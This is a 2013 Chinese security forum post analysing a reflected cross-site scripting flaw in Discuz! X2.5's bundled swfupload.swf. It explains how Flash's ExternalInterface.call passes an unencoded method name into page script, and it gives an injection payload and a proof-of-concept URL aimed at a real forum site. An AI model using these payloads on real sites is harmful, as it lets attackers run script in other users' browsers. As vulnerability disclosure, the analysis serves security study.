找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1981|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说/ I7 Y/ [2 w2 o! H! T
# S6 |, M0 ]# J" s
flash.external.ExternalInterface.call($methodName, $parameter)" T% x, B" _/ b- P% v
在浏览器中执行的是: e1 M( b& K1 k- j

+ e* o$ u. e5 H; Vtry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
7 T/ |" a! j" }9 `2 B对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
# ?* u' _; o4 Q$ z& x) L# P) x$ t& l" w4 ~0 H" d9 P
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
3 Z: Q. M% |$ Q& C7 i( e4 D$methodName = a())}catch(e){alert(/xss/)}//
: I& B4 s! {& D3 w4 K- p. |9 [结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。5 G. x8 Q5 y& g6 R' h" O

* F$ x: q. K! B' J* ?try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }3 L3 G0 M$ j& b

  W2 |! }+ v" }8 a$ |这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
7 C' Q1 c8 M8 a杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。8 H- {9 o1 x2 t" w' D- L
* m3 b$ m# W4 X. k+ L) r6 _: t6 @
- X. f' C5 f! G$ ~8 P, l$ [% W
) r. q1 g8 `) K
漏洞文件:upload\static\image\common\swfupload.swf
; v# `. m, H* k! y
) T/ _5 N2 j/ L) u- N( a原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf! V- I( O, q; d3 q! E) {7 g% }
+ V+ J$ t. j" a# Q2 o" k. V
" `/ W( q$ |8 j$ @9 p8 M5 J6 S( ^# F: ]3 p
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
+ E3 U  R$ S- X# M
3 p* ?8 m' j5 {! M9 _7 a
' l2 H6 z) u% {# a6 `! H) k3 F
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表